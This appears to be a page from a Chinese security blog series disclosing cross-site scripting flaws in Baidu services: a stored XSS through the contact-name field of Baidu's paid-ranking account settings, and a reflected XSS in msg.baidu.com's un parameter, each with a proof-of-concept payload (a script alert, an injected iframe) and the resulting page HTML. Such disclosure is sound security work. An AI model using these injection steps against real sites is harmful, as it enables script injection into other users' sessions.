百度竞价排名多处XSS漏洞

 

XSS 11: 百度竞价排名联系人Stored XSS
登录竞价排名后，修改个人设定，将联系人姓名改为：

以下是引用片段： <script>alert();</script>

保存

然后在登录首页，将执行脚本

代码如下：

以下是引用片段： <table border=0 cellpadding=0 cellspacing=0 width=800> <tr><td colspan=3><h3 align=center><br>欢迎访问百度竞价排名客户管理系统</h3> </td></tr></table> <table align=center width=800 class=h4_center> <tr><td height=30 align=center>尊敬的用户 <script>alert(/联系人姓名/);</script>XSShere，您好！ <input type=”hidden” name=”servermode” id=”servermode” value=”">

这是一个持久类型的XSS，也就是说，会存储在服务器端。

昨天，在幻影的邮件列表里，有一个叫royalwhy的朋友，在回复我的邮件里，也发了一个他发现的XSS。
经过他的同意后，我将其也贴在这里。

XSS 12:百度发送消息XSS (发现者：royalwhy)
漏洞如下：

以下是引用片段： http://msg.baidu.com/ms?ct=21&cm=1&tn=bmSendMessage&un=<iframe src=http://groups.google.com/group/ph4nt0m width=500 height=300/>

un参数后可以执行任意脚本，代码如下：

以下是引用片段： <form name=”f” method=post action=”http://msg.baidu.com/” autocomplete = “off”> <input type=hidden name=ct value=”22″> <input type=hidden name=cm value=”MailSend”> <input type=hidden name=tn value=”bmspsubmit”> <input type=hidden name=lu value=”"> <input type=hidden name=vcode value=”"> <tr > <td align=”right”>发送至：</td> <td><input type=hidden name=sn value=”<iframe src=http://groups.google.com/group/ph4nt0m width=500 height=300/>”><iframe src=http://groups.google.com/group/ph4nt0m width=500 height=300/></td> </tr>

百度的问题还有很多很多，今天只是举例来讲一个子系统。

这个系列写到这里，也没什么更大的动力再写下去了，我不喜欢做重复的劳动，所以明天将是最后一天，让我们结束这一切。而我也将有精力来阐述一些其他方面的问题和观点。

上一页  [1] [2]